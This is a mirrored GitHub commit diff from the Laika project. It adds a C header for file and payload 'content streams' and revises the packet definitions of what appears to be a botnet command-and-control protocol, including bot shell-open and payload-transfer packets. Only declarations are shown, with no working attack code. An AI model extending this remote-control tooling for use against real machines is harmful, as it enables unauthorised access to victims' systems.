1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-09-26 20:00:08 +00:00

Lib: Added content stream boilerplate

- code is untested
This commit is contained in:
2022-05-16 18:48:32 -05:00
parent 81360a8072
commit b02f48c006
5 changed files with 220 additions and 34 deletions

46
lib/include/lcontent.h Normal file
View File

@@ -0,0 +1,46 @@
#ifndef LAIKA_CONTENT_H
#define LAIKA_CONTENT_H
#include "lpeer.h"
#include <stdio.h>
#include <inttypes.h>
enum {
CONTENT_FILE,
CONTENT_PAYLOAD
};
enum {
CONTENT_ERR_ID_IN_USE,
CONTENT_ERR_INVALID_ID
};
typedef uint8_t CONTENT_TYPE;
typedef uint8_t CONTENT_ERRCODE;
struct sLaika_content {
FILE *fd;
uint32_t sz; /* content size */
uint32_t processed;
uint16_t id;
CONTENT_TYPE type;
struct sLaika_content *next;
};
struct sLaika_contentContext {
struct sLaika_peer *peer;
struct sLaika_content *headIn; /* receiving from peer */
struct sLaika_content *headOut; /* sending to peer */
uint16_t nextID;
};
void laikaF_initContext(struct sLaika_contentContext *context, struct sLaika_peer *peer);
void laikaF_cleanContext(struct sLaika_contentContext *context);
int laikaF_newOutContent(struct sLaika_contentContext *context, FILE *fd, CONTENT_TYPE type);
void laikaF_newInContent(struct sLaika_contentContext *context, uint16_t id, uint32_t sz, CONTENT_TYPE type);
void laikaF_poll(struct sLaika_contentContext *context);
#endif

View File

@@ -58,30 +58,6 @@ enum {
/* layout of LAIKAPKT_PINGPONG:
* NULL (empty packet)
*/
LAIKAPKT_TUNNEL_OPEN, /* if sent to bot, opens a tunnel to localhost's port. if sent to cnc, signifies you opened the tunnel */
/* layout of LAIKAPKT_TUNNEL_OPEN:
* uint16_t port;
*/
LAIKAPKT_TUNNEL_CLOSE, /* if sent to bot, closes a tunnel to localhost's port. if sent to cnc, signifies you closed the tunnel */
/* layout of LAIKAPKT_TUNNEL_CLOSE:
* uint16_t port;
*/
LAIKAPKT_TUNNEL_CONNECTION_ADD,
/* layout of LAIKAPKT_TUNNEL_CONNECTION_ADD:
* uint16_t port;
* uint16_t id;
*/
LAIKAPKT_TUNNEL_CONNECTION_RMV,
/* layout of LAIKAPKT_TUNNEL_CONNECTION_RMV:
* uint16_t port;
* uint16_t id;
*/
LAIKAPKT_TUNNEL_CONNECTION_DATA,
/* layout of LAIKAPKT_TUNNEL_CONNECTION_RMV:
* uint16_t port;
* uint16_t id;
* uint8_t data[VAR_PACKET_LENGTH-4]; -- '-4' for the port & id
*/
LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */
/* layout of LAIKAPKT_SHELL_OPEN:
* uint32_t id; // this field is absent from the panel/auth client
@@ -95,7 +71,23 @@ enum {
LAIKAPKT_SHELL_DATA, /* if sent to bot, writes data to stdin of shell. if sent to cnc, writes to 'stdout' of shell */
/* layout of LAIKAPKT_SHELL_DATA
* uint32_t id; // this field is absent from the panel/auth client
* char buf[VAR_PACKET_LENGTH];
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
*/
LAIKAPKT_CONTENT_NEW,
/* layout of LAIKAPKT_CONTENT_NEW:
* uint16_t id;
* uint32_t sz;
* uint8_t type;
*/
LAIKAPKT_CONTENT_ERROR,
/* layout of LAIKAPKT_CONTENT_ERROR:
* uint16_t id;
* uint8_t errCode;
*/
LAIKAPKT_CONTENT_CHUNK, /* variadic */
/* layout of LAIKAPKT_CONTENT_CHUNK:
* uint16_t id;
* uint8_t buf[VAR_PACKET_LENGTH-sizeof(uint16_t)];
*/
/* ==================================================[[ Auth ]]================================================== */
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */